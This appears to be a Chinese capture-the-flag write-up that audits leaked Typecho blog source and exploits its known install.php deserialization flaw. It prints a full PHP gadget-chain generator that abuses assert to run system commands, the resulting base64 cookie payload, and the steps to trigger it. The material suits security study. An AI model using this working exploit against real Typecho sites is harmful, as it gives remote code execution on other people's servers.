1. 首页
题目已给泄露源码
2. 代码审计
index.php
中没有有效信息。
查看install.php
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
<?php elseif (isset($_GET['start'])): ?> <?php if (@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?> <h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1> <div class="typecho-install-body"> <form method="post" action="?config" name="config"> <p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p> </form> </div> <?php else : ?> <?php $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
|
发现是Typecho
,搜索一下漏洞,找到一个反序列化:Typecho反序列化漏洞导致前台getshell
3. payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
|
<?php
class Typecho_Feed { const RSS1 = 'RSS 1.0'; const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; const DATE_RFC822 = 'r'; const DATE_W3CDTF = 'c'; const EOL = "\n"; private $_type; private $_items;
public function __construct() { $this->_type = $this::RSS2; $this->_items[0] = array( 'title' => '1', 'content' => '1', 'link' => '1', 'date' => 1540996608, 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } }
class Typecho_Request { private $_params = array(); private $_filter = array();
public function __construct(){ $this->_params['screenName'] = 'system("cat /flag");'; $this->_filter[0] = 'assert'; } }
$payload = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' );
echo base64_encode(serialize($payload));
?>
|
得到base64编码:
1
| YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoyMDoic3lzdGVtKCJjYXQgL2ZsYWciKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoyMDoic3lzdGVtKCJjYXQgL2ZsYWciKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
|
1 2 3 4 5
| if (!empty($_GET) || !empty($_POST)) { if (empty($_SERVER['HTTP_REFERER'])) { exit; }
|
所以我们需要触发则需要传入一个start,同时上传referrer
4. 解析
参考:https://paper.seebug.org/424/#0x01